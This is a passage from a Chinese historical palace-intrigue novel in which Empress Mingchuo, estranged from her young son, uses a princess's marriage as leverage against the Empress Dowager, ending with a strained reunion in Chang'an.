一直到兴和十二年,明绰才终于等来了捷报。乌兰徵攻下了慕怛人的王庭,将那反复无常的部落王枭首。部落中所有十岁以上的男子全部被杀,老弱妇孺则被放逐至贺阆国的地界,让他们自生自灭。
又隔了快两个月,明绰才明白了他为什么会下手这么狠。
贺儿库莫乞被送了回来。他还活着,但是让慕怛人刺瞎了双目,砍去了双脚。听说乌兰徵找到他的时候,他被慕怛人用铁链拴着,像牲口一样睡在圈棚中,几乎已经看不出是个人形。乌兰徵下令把他送回洛阳,明绰亲自去看了他,但他态度极其恶劣,对皇后连表面功夫亦不肯再做,更不愿留在洛阳,明绰只好安排人将他送回长安。
据说见到孙儿时,贺儿薄哭得昏死过去两次。乌兰徵为抚慰贺儿氏,给贺儿薄祖孙加官进爵,连贺儿冲也安排了一个在长安的官职,可谓恩宠盛极——但什么都没能阻止,羽林军最后落进了石简手中。
毕竟,失去了眼睛和双脚的贺儿库莫乞再也没有办法统领羽林军了。
兴和十三年,乌兰徵终于如愿灭了扶余国,杀拔拔兀舒骨,彻底确立了大燕自西海而始,至辽东而终的雄伟版图。乌兰徵班师,正式下诏,分设两都。四方使臣皆入洛阳朝贺,大雍也派来了臣,愿与大燕永为兄弟之国,就连曾经屡次来犯的贺阆王都送来了自己的子侄,说是来洛阳“受教”。
一切如繁花着锦,烈火烹油时,陛下亲自下旨,连着皇后不知道第几次的殷切催促,召皇长子进洛阳,长安却传来了皇贵妃溘然长逝的消息。
没有人说得清楚泰赤哈氏是怎么死的。她病了这么几年,油尽灯枯了也是寻常。皇长子已经六岁了,能书会写,亲自上了一封书给父皇,说他想在长安再留一年,好在泰赤哈氏灵前尽孝心。
明绰就在此时才接到了冯濂之的密报,说其实从皇贵妃“病”了开始,太后就暗中将皇贵妃监禁,将皇长子带回了自己的长霄殿日夜照顾。皇后派在皇长子身边的女使也受太后监视,不得将此事泄露半分。他这个文学博士只能在白日里上课时才见得到皇长子,也被瞒得滴水不漏。还是因为皇长子与云屏公主说话间没留意,才让冯濂之听出了端倪。
也就是说,从晔儿四岁不到的时候开始,真正抚养他的人就已经是段知妘。但是明绰想起晔儿的抓周之宴,便明白恐怕不只是泰赤哈氏“病”了以后,晔儿长这么大,身边其实一直都有段知妘的影子。
她用潼关切断了段知妘对汉臣势力的影响,段知妘也同样用潼关隔绝了她和她的儿子。
乌兰徵也不跟儿子废话,直接派人回去接,结果派去的人空着手回来了,说是皇长子自己不愿意离开长安。好不容易硬把他哄上了马车,出城时云屏公主骑着马追在后面边哭边送,闻者无不动容。于是皇长子直接从马车上跳了下去,摔伤了腿。他们不敢再逼,只能回来请罪。
他还给父皇和母后捎来了一封信,这次没有任何的官样文章,显然是没有经过侍讲学士与文学博士的润色,平铺直叙地写在绢帕上,就两句话。
“骨肉之亲,弃我如遗,儿不敢怨,唯有自咎。遥怀膝下之敬,不敢忘也。”
明绰看到这两行字的时候一句话都说不出来,每一笔都像是在她的心上狠狠地剜肉。乌兰徵的眼睛也红了,于是便不肯再提这件事。皇长子不愿意来,他也不逼了。明绰好几个晚上都睡不着,只能起来坐到案前,晔儿写过的信都摊出来一个字一个字的看。
他的第一封信写在兴和十一年,那时刚开始识字,写得稚拙又疏漏,大小不一,缺笔少划。过年又上一封,就写得齐整很多,进步很大。同年二月里,乌兰徵生辰,他又上一封,遥祝父皇在漠北平安,早日凯旋。今年的大胜,他也写信来了,歌功颂德,已不像是小孩的口吻,说他会好好读书习武,日后也想像父皇那样。
没有一个字,是写给母后的。
乌兰徵不知道什么时候已经站在她的身后,见她哭得这般心碎,也不知道该说什么,半晌,只有俯身,轻轻地将一件衣服搭在了她的肩头。
明绰没有回头,眼泪一滴一滴地往下落:“他心里怨我。”
乌兰徵坐到她身边,揽住了她的肩膀,把她搂进了怀中。
“我小时候也怨过阿耶。”他轻轻抵在明绰耳边,试图安慰,“可是后来……”
但是明绰没有听他说完,挣开了他不要他抱。乌兰徵愣在那里,有些无措地看着已经哭成泪人的妻子。她扭着头,紧紧咬着下唇,被无法解释的嫉妒和恨意占满了内心,生怕只要说出口,就是无法挽回的伤人恶语。
——是啊,他后来再也不怨乌兰郁弗了。理由还需要跟明绰解释吗?因为他的阿耶是英雄,还能给他皇位继承,就像如今他对晔儿一样。
她闭着眼睛都能猜到,哪怕没有段知妘,所有的人也都会告诉晔儿,他的父皇有多么多么的了不起,创下了多么多么宏伟的功业。晔儿是如此地仰望他,只会把被抛弃的委屈都推到母亲身上。
可是,如果不是乌兰徵要征漠北,他们本该如约在孩子三岁的时候就把他接到身边的啊!拖延至今,她固然有错,但乌兰徵也有责任,凭什么孩子不怪他!只因为英雄的父亲是理所当然的,母亲的权欲才是罪不可赦的吗?
她知道这个事情不能怪乌兰徵,可是情绪不受她控制。他远征不归的时候她有多少思念和牵挂,现在就有多少捋不清的深怨。
明绰深吸一口气,用力地抹去了眼泪,只道:“陛下早些歇息吧,臣妾想自己待一会儿。”
乌兰徵听出她的冷淡推拒,皱起了眉:“明绰。”
“算我求你了!”明绰到底是没克制住那股怨气,“你让我自己待着,行吗!”
乌兰徵犹豫了一会儿,最终也只是沉默地站起身走了,重新把明绰留在了黑暗中,唯有案前一盏孤灯,烧出缓缓滴落的烛泪,如同明绰流不干的痛。
她坐在那里流了许久的泪,到后来哭累了,也还是没动。
她知道乌兰徵肯定也不好受。但是夫妻做久了,已不是每一个细小的矛盾都有心力去面对,明绰如今倒是有些明白了很多年前乌兰徵一看要吵起来就转身走的“智慧”,现在她也会这样了。她到底是憋住了没有说出更加伤人的话。
明绰吸了吸鼻子,平复下情绪,干脆又多点了一盏灯,把案上没看完的公文上书接着往下看。
乌兰徵远征的日子里政务都是皇后在处理,陛下回
来了以后也还是照旧。洛阳朝臣大半听命萧皇后,如今已经没有人还会指摘皇后涉政了。所以当明绰在案上看到萧典特意写明呈给陛下的上书时,不由愣了一下。
也许是军务吧。明绰没多想,挑了出来放到一边,让乌兰徵明天就能看见。但不知怎么的,看着看着,视线又落到了萧典那封上书上。
萧典已经老了,他仍领尚书台,是因为他德高望重,其实明绰已经很少让他做事了。乌兰徵一回来,他第一件事就是催陛下跟皇后再生两个儿子,大燕才能兴旺。
别又是类似的昏话。
明绰伸手把上书拆了出来,没想到公文的封皮里还夹带了一封信,随着她的动作落到了膝盖上。明绰低下头,一眼就看出了段知妘的字迹。
这么些年了,萧皇后在洛阳如日中天,段太后避她锋芒,从未上书,有任何事,她都是借别人的口和手。如今乌兰徵回来了,她倒是来信了,还如此小心,让萧典夹带过来。
明绰冷笑了一声,将信抽了出来,在灯下细读。
段知妘一封信写得非常和软,上来就是“吾儿”。先照例歌功颂德,称赞一番大燕有四海来贺、八方纳贡之威,随后便是拉家常,提及皇长子和辉儿一起长大,所以辉儿才如此不忍他离开。晔儿跳车受伤,她也心痛不已——接下来话锋一转,还是那套话:大局已定,要乌兰徵尽快回长安,立晔儿为太子……又说立了两都也好,大燕版图辽阔,长安可控西海,谏言陛下把羽林军也拆成东西两部,给长安再添守军……
最后再拜顿首,望他们能早日母子团圆。
好个,母子团圆。
明绰轻轻地松开了握紧了信纸的手,她不自觉捏得太用力,手指像僵住了似的,传来一阵酸痛。她把信纸放在案上,小心铺平,又读了一遍。然后又拾起来,叠了两叠,伸到了烛焰上。
难道只有我有孩子么?明绰看着信飞快地被火舌吞噬,蜷曲,发黑,心中只是想,难道你段知妘,就没有心尖的肉,掌心的宝吗?
乌兰徵躺在床上,已是又睡过去了,只是没有睡踏实,明绰一窝过来他就醒了,习惯性地把人搂进怀里。明绰也环住他的腰,紧紧地贴在了他的胸口,听见他均匀起伏的呼吸声,温热的鼻息轻轻地拂在了她头顶。
乌兰徵的声音很轻:“你不要难过。”
明绰低低地“嗯”了一声,又道:“对不起。”
乌兰徵的手臂把她环得更紧,也没有跟她生气,反而温声劝她:“晔儿自小在长安呆惯了,突然要他换地方,见不着一起玩儿的人了,心里肯定舍不得,发发孩子脾气也是人之常情,你不要想得那么严重。”
明绰什么都没说,心里更像被捏了一把,酸酸软软地疼。她都不知道晔儿平日跟谁一起玩儿,宫里没有别的孩子,那些乌兰亲族们家里跟晔儿差不多年纪的孩子,她都不认得。
“他不就是跟辉儿一起玩儿吗?”
乌兰徵便低低一笑,胸腔贴着明绰,发出轻微的共鸣:“晔儿刚出生的时候,她就整天‘小宝宝’‘小宝宝’,好奇得不得了,有一回我还抓到她偷偷来看晔儿……辉儿虽是姑母,其实也差不了几岁。定是这些年相处下来,两个孩子感情好,晔儿才宁可摔伤腿都不舍得走。”
明绰听着他讲,心里刀割一般,不得不狠狠咬住了自己的下唇。辉儿是个好孩子,她还记得当年西觉寺里,她一声一声叫“姐姐”的声音——是你的母亲非要这样逼我的,明绰闭着眼睛,对心里那个遥远的小女孩儿祷告一般,辉儿,别怪姐姐。
乌兰徵还在说:“不然把辉儿也一起接来吧?”
那还得了,不等于把段知妘招来了。
明绰反应很快,已想出了应对:“不妥。辉儿眼看着就要婚配了,她定是要嫁你们乌兰人的,接她来洛阳,你那些额赤哥们还不急死了?”
“啊?”乌兰徵还停留在妹妹被他一只手就能提起来的阶段,“她才多大,就婚配?”
“十四了,陛下。”明绰声音很无奈,“我十四的时候都已经跟你订亲了。”
“这么小?”乌兰徵睁开眼,“我怎么记得是十八?”
“立后的时候十八,订亲更早了。”明绰在他怀里仰起脸,“我及笄的时候用的玉笄就是亲事定下以后,你送来的定情信物。”
乌兰徵便露出一个莫名的笑意。他对此事毫无印象,那会儿他还在西海,肯定是太后代劳。
“还留着呢?”
“早扔了。”
“哦。”乌兰徵也不以为意,“那我重新再送一个。”
“那就不必了。”明绰又把脸埋进了乌兰徵怀里,“陛下想想辉儿那根玉笄由谁来送才是正经。”
乌兰徵听出来了,皇后跟他这儿追忆了十年,主要是为了这句。
“你相中了谁?”
“乌兰亲族之中,还是以贺儿氏为尊。辉儿跟贺儿冲又自小就有情分,不如——”
乌兰徵“唔”了一声,直接打断了她:“太后不喜欢贺儿冲。”
明绰在他看不见的地方轻轻勾了勾唇角。当然了,就是因为太后不喜欢贺儿冲啊。
“因为库莫乞残废了?”
“当然不是……”乌兰徵有些无奈,“贺儿薄不是早几年就提过这个话了吗?那个时候就回绝了。”
“可是库莫乞如今废了,难免受人白眼。他这样心高气傲的,怎么受得了?若是把公主嫁到他们家去,才显得陛下心里始终惦记着他,没人敢看轻了他。”
这话说进了乌兰徵心坎里。对于贺儿库莫乞的残疾,他多少心怀歉疚。当初慕怛人是愿意谈判的,是他太强硬,一点儿不肯退让,才导致他们把人伤了。
话是这么说,乌兰徵还是有些犹豫:“辉儿是我唯一的妹妹了,要宽慰库莫乞,倒也不必嫁他弟弟。”
“那总不能嫁他儿子吧。那孩子才多大?”
乌兰徵安静了一会儿,突然意味深长地贴到她耳边:“不如咱们再生个公主。”
“这是什么意思?”明绰撑起来打了他一下,“妹妹都不舍得给他们家,女儿倒舍得?”
乌兰徵便息事宁人地控住她的手,让她别激动。
“贺儿家倒是也配得上一位公主,”明绰听见他长长地叹了口气,“但是贺儿冲这小子……”
他没把话说完。明绰等了一会儿,拿捏着每个字的分寸,又道:“太后不喜欢,说不定辉儿喜欢呢?陛下好歹问上一问。”
漫长的沉默,久到明绰几乎以为乌兰徵是不是又睡着了,才听到他妥协似的回答:“那就问一问吧。”
第100章
“皇后当真要把云屏公主嫁给贺儿冲?”
明绰只当没听见这话,眼睛里只盯着手里的公文。
几年前她答应过乌兰徵,各地豪强的“隐户”之患,她会想办法解决。最近她跟方千绪商量出了一策,借鉴了大雍统计户籍的方式,同样设五家为伍,五伍为里,命里长治理,向洛阳汇报,以此破除各地以
“宗主督护”为幌子,隐瞒税赋、逃脱徭役的一张网。方千绪已经把具体落实的章程都写出来了,连带着估算了每年能多出来的赋税,写得详尽无比。
但再详尽,也不用看这么久。
作这章程的左仆射大人就在面前,耐着性子等了一会儿,看见皇后假模假样地又翻回去又要再看一遍,终于忍无可忍地把倾身把公文直接抽了回来。
“你!”明绰抬起头,被方千绪气笑了,“左公现在真是越来越有规矩了。”
“皇后恕罪。”方千绪不走心地行了个礼,又问了一遍,“皇后当真要把云屏公主嫁给贺儿冲?”
明绰不肯答,低头喝她的茶:“你怎么知道的?”
“陛下来问臣的意思了。”方千绪回答,“他心中犹豫,觉得不妥……”
“有何不妥?”明绰明知故问,“他自己也说了,贺儿家配得上一位公主。”
“可这贺儿冲不是良人哪!他自小就暴戾成性,好虐杀马儿啊、狗儿……”
“公主又不是马儿狗儿。”
“他可打死过府上的家奴。”方千绪正色驳道,“要不是因为他有个好兄弟,早按照国法处置他了!皇后,这种人……”
方千绪顿了顿,轻轻压低了声音,耐心地劝:“云屏公主是无辜的呀。”
“那我晔儿就不无辜了吗!”明绰一下子就激起来了,原本还有点儿内疚的,一下子又被她压了回去,“段知妘要是不想她的女儿嫁进火坑里,就把我的儿子还给我!”
她真生了气,方千绪也就不敢跟她没规矩了,只是皱着眉头,一脸不认同地看着她。明绰冷着脸,又把那公文抢回来,扫了一眼,很想找个茬来,偏偏左仆射的活儿干得相当利索,她没找出茬来,只能一丢,自己把自己气得不轻。
“你怎么回陛下的?”
方千绪略一犹豫,明知道皇后会不高兴,还是道:“臣说,不合适,让陛下再想想。”
“你……”
“皇后恕罪。”
明绰气得咬牙蹦出来一句冷笑:“本宫倒是没想到,第一个来替太后做说客的会是你。”
萧典夹带太后的私信,已经让她无声无息地处理了。明绰给足颜面,尚书令的位置依然是他的,但什么都不必他做了,只说令君老了,皇后不忍他辛苦。其实尚书台上上下下都得到了暗示,所有的公文不需老令君再过目,他要上书,也别再往宫里递。
明绰把头一歪,话说得更重了:“左公是想效仿老令君吗?”
方千绪:“臣不敢。臣也不是为了太后来做说客。只是臣有幸得见公主年幼时,聪颖不失良善,果决不忘本心,心中怜惜赞赏,故而不忍。”
明绰眯了眯眼:“左公在说哪个公主啊?”
方千绪低头:“自然是云屏公主。”
明绰歪着头打量了他半晌,不跟他绕这个弯子:“什么良善、本心,我早已不是孩子了。为了晔儿,我什么都做得出来。”
方千绪便也不再深劝,低了头轻声道:“是。”
明绰脸色这才微微好看些,看他在自己面前低着头,鬓角已经明显有了银丝,官帽都遮不住。
“她若识相,主动把晔儿送过来,我也不会非要害了云屏。”明绰语气和缓了一些,想起什么,又道,“你看着点儿,让他们赶紧把永宁殿修出来。”
永宁殿也是宫中主殿,离帝后所居的重华殿很近,明绰一早就便想好了,等晔儿来了,就把他安置在这里。但就是因为离重华殿太近了,工匠们不敢打扰帝后休息,为了宫禁安全,也不能让闲杂人等随意进出,所以修了几年也不见好,晔儿也过不来,明绰每每瞧见那半拉子的檐角就难受。
明绰心里想着这回无论如何都要把晔儿接过来,又道:“等晔儿来了,正式立了太子,我还指望你多教教他。”
方千绪听她不气了,也放松下来,只道:“这户籍赋税要臣管,修皇宫也要臣盯着,以后还要教太子读书……臣也没有三头六臂呀。”
“左公莫不是忘了当年一身抱负无处施展的滋味了?”明绰嘴角含着笑横了他一眼,“如今还抱怨起来了?——行了,手头事情多就别在我这儿蹭茶蹭吃的,还不下去!”
方千绪脸上的笑意舒展开来,站起来朝她行了一礼:“臣定不负皇后所托。”
他告辞了,明绰自己琢磨了半晌,又让人去问陛下在做什么,不多时便有人来报,说陛下今日召了太常寺的少常拔勒突於支进宫。
皇后听见了便也没说什么,就让少常大人见完了陛下过来见她。
太常寺掌宗庙、祭祀和礼乐,这两年明绰又把太学也并入太常寺管理,整个太常寺已经完全汉化了。留着乌兰人做少常,就是表面功夫。拔勒突於支跟着太常寺衙署迁到洛阳以后,也从来没跟皇后对着干过。
他一向踏踏实实地吃皇粮,明明白白混日子,突然被陛下和皇后接连召见,吓得腿都软了,原本就不熟练的汉话更是说得乱七八糟,明绰只能换了乌兰语问他,陛下跟他说什么了。拔勒突於支结结巴巴地交代了,陛下是问他,云屏公主配给贺儿冲,他有什么看法。
明绰一听就皱紧了眉头。拔勒突氏虽然也是乌兰亲族七大姓,但这两代都没出什么得用的人,已经没什么存在感了。想来也是洛阳确实无人可问,乌兰徵居然连他都想到了。
可她说问一问,意思是暗里去敲打敲打段知妘,谁让乌兰徵在朝中到处问了?那要是这事儿不成,不是毁了辉儿的名声吗?
明绰直咬牙,心里想着一会儿回去收拾这不开窍的夫君,一面问:“你怎么说的?”
拔勒突於支被皇后的语气吓得直往地上跪:“臣……臣以为,十分相配。”
明绰更不高兴了。方千绪说不合适她恼,这糊涂货说相配,她反而更恼了:“如何相配?贺儿冲大了公主那么多岁呢!”
“这……可汗也比可敦大了八岁啊。”拔勒突於支直愣愣地回答,“贺儿冲还是青春少年郎呢,大上几岁也无妨……”
“你瞎比较什么!”
“是,臣不敢。”拔勒突於支小心翼翼地抬起头,看了看皇后的脸色,又赶紧低下头去。“但臣一直听说,贺儿冲倾慕公主也不是一日两日了,所以至今未娶……”
还不是因为没人肯把女儿说给他!明绰险些脱口而出,好歹憋住了。垂着眼睛看了看跪在地上的人,转念想了想,又道:“你也许久没有回长安了吧?”
“臣……”
“给你放个假,”明绰不让他把话说完,“你也回去看看你夫人……”
拔勒突於支抬起头:“臣的夫人也在洛阳。”
明绰没忍住抬手摁住了太阳穴:“你总有别的家人还在长安吧!”
拔勒突於支愣在那里,眨了眨眼,终于慢半拍地反应过来了:“哦!是……是,臣明白了。”
“你最好是真的明白,”明绰也不跟他绕弯子了,“此事最主要的,还是问太后的意思。”
拔勒突於支深深地往下磕头,又道:“臣明白。”
明绰不放心地看着他,她是又怕事儿做得太绝对,害了辉儿,又怕让段知妘看出来她其实狠不下这个心。末了只好摆摆手,心烦意乱地让拔勒突於支先下去了。
兴和十三年秋,拔勒突於支奉了皇后的命,回长安去“检查先王陵墓”。没过多久,太后就又来信了,信还是递到了萧典那里,不出意外地落进方千绪手中,又转呈给了皇后。
段知妘明显是急了,信中说,大燕如今四邻皆服,陛下的皇位也坐得很稳,云屏没有委屈下嫁的必要。公主的婚事定会称心如意,不会被皇兄当做筹码或是笼络的工具,这是陛下当年亲口许过她的,难道陛下都忘了不成?
明绰看完就继续把信烧掉。看着火苗吞噬,只觉得说不出的快意。
乌兰徵答应过又
怎么样?答应过才最好呢。当年她怀孕的时候,乌兰徵也答应过很多事,段知妘不也是一样使尽手段,哄他食言么?如今,也是该让段知妘尝尝这滋味了。
明绰耐着性子,又等了一段时间,等到年底,再次向长安传令,召皇长子至洛阳,让段知妘自己琢磨该怎么办。段知妘眼看着两次写信,洛阳都没有一点儿反应,便也猜到信是让皇后截了。这回干脆走了明路,借着年节问安的机会给洛阳上书,说皇长子聪敏好学,尚德嘉行,当立为储君。
朝中很多人其实都同意这个事情,尽管太后的话如今已经没有很大的影响力了,但是有她起了头,大半的朝廷也都跟着上书,要求陛下尽快立储。长安那边更是接连催促,想让皇后和陛下回长安来立太子。洛阳这边也上书,觉得洛阳才是新都,太子应该在洛阳立才对。
两边吵起来了,乌兰徵就烦了。其实他知道为什么他不在的时候明绰没能独自回长安接孩子,无非是怕有人胆大包天,不让她再回洛阳。但如今他已经回来了,料想也没人敢,他便想着,还是跟皇后亲自回长安一趟。
明绰想不出还能怎么解决,只好答应了此事,但心里恨得咬牙切齿。于是在年后也下了一道旨,传令下去,要长安那边准备大办云屏公主的及笄礼,她和陛下都会回来观礼。
到兴和十四年,春来回暖,积雪消融之时,长安终于得到了确切的消息。陛下与皇后的銮驾已过潼关,即将回到阔别了近七年的长安。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
100-110
第101章
“殿下!”
秋桑喊了一声,着急往前走,可是腿脚不听使唤,又跌在了地上。身边的宫人忙来扶她,她脸涨红了,又懊恼自己碍事,又心急:“哎呀别管我!殿下人呢?”
宫人们左看看,右看看,哪里还有皇长子的影子?秋桑挣扎着爬起来,又道:“还不赶紧找!”
于是一群人又“殿下”“殿下”地喊着,四散开去寻了。云屏刚从宫外骑马回来,远远地看见长霄殿外宫人们的样子,眼珠子一转就明白了过来。她趁着还没人看见,扭头往反方向跑,一直跑到了一座无人居住的宫室后面,熟练地躬身从墙角一个豁口进去,然后蹑手蹑脚地靠近了院中坐着的人影,猛地一下拍在了他肩膀上:“纳尔朗!”
乌兰晔吓了一跳,回过头见是她才松了口气:“小姑姑。”
“你怎么又躲这儿来了?”云屏整了整自己的鲜红披风,把马鞭收好,这才坐到了他身边,“今天你不是搬回了长秋殿吗?”
乌兰晔看了她一眼,感觉那个“回”字十分刺耳。他不记得他曾经在那个地方住过了。他不想说这个,于是便看了看小姑姑的一身骑装,看见她鬓上簪的花和颊上的红晕,突然道:“你又偷偷出去见贺儿冲了?”
“嘘,”云屏做了个噤声的手势。
乌兰晔一副小大人的样子:“都说了贺儿冲配不上你!皇后岂会为你着想……”
“你还管起我啦?”云屏也板起脸,伸手就揪他的耳朵,“什么皇后皇后的,那是你母后!”
乌兰晔倔头倔脑地把脑袋一别,不愿意看她,没处发泄似的,随手抓了一块小石头,狠狠扔了出去。
“纳尔朗,”云屏看着他发脾气,软着声气叫了他一声,“你不是一直都很想见到你的父皇和母后吗?他们要回来了,你怎么不高兴呀?”
乌兰晔低着头,撇着嘴,还是不肯说话。
云屏又朝他坐得近了些,用肩膀撞了撞他,有意逗他开心:“等他们回来,你就要被立为太子啦!以后,你就是太子殿下了!”
乌兰晔听了这话,便从鼻子里“哼”了一声:“那可不一定。”
“这叫什么话?”
“皇后一直就不喜欢我,”乌兰晔低下头,左手无意识地抓住了右手手臂,那里有一条从他有记忆开始就伴随着的长疤,“他们在洛阳早就有别的儿子了,太子可轮不上我!”
“什么!”云屏瞪大了眼睛,“皇兄有别的儿子,我怎么不知道呀!”
乌兰晔转过头,很嫌弃地打量了他这小姑姑一眼:“你心里只有贺儿冲,你知道什么呀!”
云屏的脸微微一红,但还是很努力地摆出了长辈的架势来,摁着乌兰晔的肩膀把他转过来,强迫他看着自己:“不可能!谁跟你说的?”
乌兰晔低下头,半晌,不情不愿地小声道:“陈昭仪说的。”
“陈昭仪?”云屏马上翻了个白眼,“陈云出的话你也信啊!”
当初陈云出才是皇贵妃,但是在乌兰晔出生没多久的时候,她就因为嚼舌根而惹怒了皇兄。皇兄本来是要把她赶出宫的,但是母后出面调停,让她去寺里修行一年,皇贵妃的尊号也让泰赤哈氏顶了。后来她修行完回来了,母后还是封了她昭仪的位份,她就没事儿总来长霄殿。
云屏很讨厌她。当初就是因为嚼舌根惹的祸事,还是不长记性,总喜欢逗弄晔儿,说些“你娘不要你了”之类的话。要说她有什么目的,好像也谈不上,看到晔儿哭了,她再马上哄,好像觉得这样很有意思似的。母后也不管,觉得不是什么大事。
乌兰晔就没说什么,低着头,掉了眼泪。他本不想哭,但是忍不住。拿手背狠狠地擦了擦,把面皮都擦红了。云屏便很心疼地叫他:“纳尔朗,你别哭了。”
“我没哭!”
“好好好,你没哭……”云屏笑着揽住了他肩膀,把他搂进怀里,“你别瞎想了,等见到你母后就知道了,她是这天下最美丽的女子……”
乌兰晔从她怀里抬起头:“那我父皇呢?”
“皇兄啊……?”云屏皱了皱鼻子,“他有点儿吓人。”
这显然不是乌兰晔想听到的回答,提高了声音反驳:“不可能!他们都说父皇英姿勃发,是一等一的伟岸男儿!”
“伟岸是伟岸,也挺吓人。”云屏回忆了一下皇兄的样子,“他一只手就可以把我抱起来——”
乌兰晔恼了,父皇都没有抱过他。他心里有气,便非要从她怀里挣出来。他也没用多大力气,云屏却倒抽了一口气,很吃痛地收回了手。乌兰晔一下子意识到了什么,猛地抓过小姑姑的手臂,把她的袖子往上撸。云屏还不肯,但是手臂上清清楚楚的一块淤青,藏也藏不住。
乌兰晔一时脸都气红了,咬牙切齿的:“贺儿冲他敢!”
他站起来就要跑,云屏赶紧拉住他:“你干嘛呀!别——”
“我要去告诉伊玛戈,我让伊玛戈杀了他!”
他和云屏小时候一样,对大人的称呼全是汉话和乌兰语混着来的,称呼云屏就是“小姑姑”,称呼祖母便是乌兰语的“伊玛戈”。可是他气再大,毕竟身量还小,被云屏一把就抱住了:“你别说!他就是力气大了一点,他不是故意的!”
“你……”
乌兰晔真是要被小姑姑气死了。贺儿冲总喜欢在她身上留一些这样的小伤痕,云屏也总会在自己的母亲那里掩饰。其实贺儿冲也试图跟乌兰晔这样“玩”过,不是挑衅他不敢从这个高的地方跳下去,就是哄着他做一些很危险的事情,每每看到乌兰晔摔痛了,甚至流血了,他就特别高兴。
但乌兰晔毕竟是皇长子,他身上有个磕磕碰碰的没那么容易遮掩。后来贺儿冲被教训了,就不再来跟他玩儿,只变本加厉地去欺负云屏。他高兴起来就把小姑姑当公主,说会永远保护她,永远守着她,不高兴起来,就说小姑姑又丑又笨,没有人会要她的。这都是乌兰晔亲耳听到的。
乌兰晔不明白,贺儿冲到底给小姑姑灌了什么迷魂汤了,连他一个小孩子都知道这样不对,但是云屏总觉得没关系。云屏说,贺儿冲有的时候是会把她弄疼,但是弄疼以后他也会道歉,他的温柔和甜蜜,不是别人能看到的。
伊玛戈也是为此发愁,想尽办法不要小姑姑靠近贺儿冲,但她就是不听。他听说皇后还有意把小姑姑嫁给贺儿冲,伊玛戈急得几天都没有吃得下饭。乌兰晔想起来就更恨了。
洛阳那个女人,真是坏透了。
云屏把袖子放下来,遮住了手上新鲜的淤青,只道:“你别管我啦,快回去吧。外头可热闹着呢,他们应该今天就要回来了。”
乌兰晔冷着脸,只道:“我不想去。”
“纳尔朗,不可以这样。”云屏摆出一副哄小孩的口气,想了想,又握住了他的手,“我陪你一起去,好了吧?”
乌兰晔还是不想理她,云屏只好耐着性子,“好纳尔朗”“乖纳尔朗”地哄了不知道多久,总算是把皇长子殿下给说动了。两人手牵着手,还是从那个墙角的豁口钻了出去,往回走。
乌兰晔还想回长霄殿,但云屏提醒他,太后已经下了旨,皇
长子所有的东西已经被送回长秋殿里。他不情不愿地被小姑姑拉着往那个陌生的地方走,刚到门前就感觉不对了,殿内殿外摆满了东西,还有好多陌生的声音,乌兰晔下意识地握紧了小姑姑的手,往外面伺候的人已经看见了他们,高声喊了一句:“皇长子殿下回来了!”
下一刻,一个女人突然奔了出来。
她穿了一身很亮眼的蓝色襦裙,肩上还有与之相配的暗红披帛,发髻梳得高高的,以金钗发饰点缀,步摇的装饰很长,随着她的动作摇摇欲坠。她确实美丽极了,乌兰晔看得愣住,心里模模糊糊地已经认出了她是谁,脑子里却一片空白,手和脚都不知道往哪里摆才是。小姑姑高兴地叫了一声“姐姐”,那个女人也没回应,只是看着他,眼里都是泪水。她突然走了过来,乌兰晔吓得整个人都缩到了云屏身后,那个女人被他的动作惊住了,突然停在原地,眼里的泪水好大一颗,就这样盈在睫毛上,盛不住了,掉下来,“啪”地摔碎。
“纳尔朗你躲什么呀?”云屏笑着拉他,“这是你母后!”
明绰朝他伸出手:“晔儿……”
乌兰晔恐惧万分地又往云屏身后躲,看着她伸过来的那只手。她的手也是好看的,纤白盈盈,指甲留了寸许,修得圆润,自然粉嫩,水葱一般。可她越是漂亮,他越觉得害怕。
云屏抬起头,又叫了一声:“额珈!”
乌兰徵也走出来了:“辉儿。”
他笑了一下,云屏那一瞬间突然忘记了不久前还在跟纳尔朗说皇兄有些吓人,突然跳起来,挣开了一直拽着她的小孩子,直直地往乌兰徵怀里扑过去。她那身骑装鲜红夺目,一跑起来披风都扬在身后。乌兰徵稳稳地接住她,抱了个满怀,然后又把她放下来,看着已经到自己胸口的少女,很惊异似的:“都长这么大了?”
云屏不知道怎么了,突然涌上来一股委屈,“呜”地一声哭出来了。
乌兰徵也不知道说什么,还想伸手摸她的头,却发现现今得抬起来才能摸到了,一时心里也酸了,看了她半晌,还是就那句话:“都长这么大啦。”
云屏便赶紧抓了他的手,带着他过来看似的:“额珈,这就是纳尔朗!”
乌兰晔没了小姑姑挡着,只能惊恐而戒备地站在原地,低着头,不肯看母亲。明绰恨不得立刻就把他抱进怀里,可是看他这副神情,也不敢太冒失。她蹲着跟他平视,眼泪断线珠子似的往下落,手还无望地伸着。听见云屏这样叫他,她便也小声地试探了一句:“纳尔朗?你认得我么?”
乌兰晔有了一点反应,抬起头,看着她。他的眼神说明他认得她是谁,但是他一句话也不肯说。小姑姑牵着一个高大的男人,他也叫了他一声“纳尔朗”,脸上的神情很欣喜。可是他好高啊,乌兰晔知道小姑姑说的“吓人”是什么意思了。他看看父亲,又看看母亲,然后突然转过身,什么都没说,跑了。
明绰站起来想追:“晔儿!”
云屏也赶紧跟上去:“纳尔朗!你站住!”
她追了上去,明绰便顿住了脚。乌兰徵安慰地揽住了她的肩膀,明绰转过来,脸埋在他肩膀上,哭出了声。
其实乌兰徵警告过她了,当年他终于被允许见到阿耶的时候也是这样,一句话都不说就转头跑了。乌兰郁弗莫名又恼火,硬是追上去,一只手就把他提回来,还在他屁股上打了一顿。那时候他都恨死阿耶了,所以他告诉自己,无论晔儿看见他们是什么反应,都不要逼他。
“没事,”乌兰徵自己也红了眼睛,压着声音,手搭在明绰的后脑上,又说了一遍,“没事的……给他一点时间。”
秋桑一瘸一拐地也跟了出来,见到这副情形,先跪下来请罪。明绰眼泪都来不及擦,又去扶她:“我怎么会怪你,你快起来……”
她收到冯濂之的密报以后很是担心秋桑的安危,回来看到秋桑还好好的,就已经很知足了。秋桑愧于这些年迫于太后之势,许多话不能在信里说,但是当着陛下的面,也不敢说得太明白,只有不停垂泪。一时之间,整个长秋殿里都哭成了一片。
云屏没有听见背后的哭声,她紧紧地撵在乌兰晔身后,想把他抓住。但是乌兰晔跑得太快了,一直到进了长霄殿,她都没能碰到他一片衣角。他一边哭,一边喊着“伊玛戈”,好像受了莫大委屈似的,一下子冲进去。段知妘正在堂前礼佛,闻声转过来,一下子被他撞了个满怀,险些被撞翻在地。
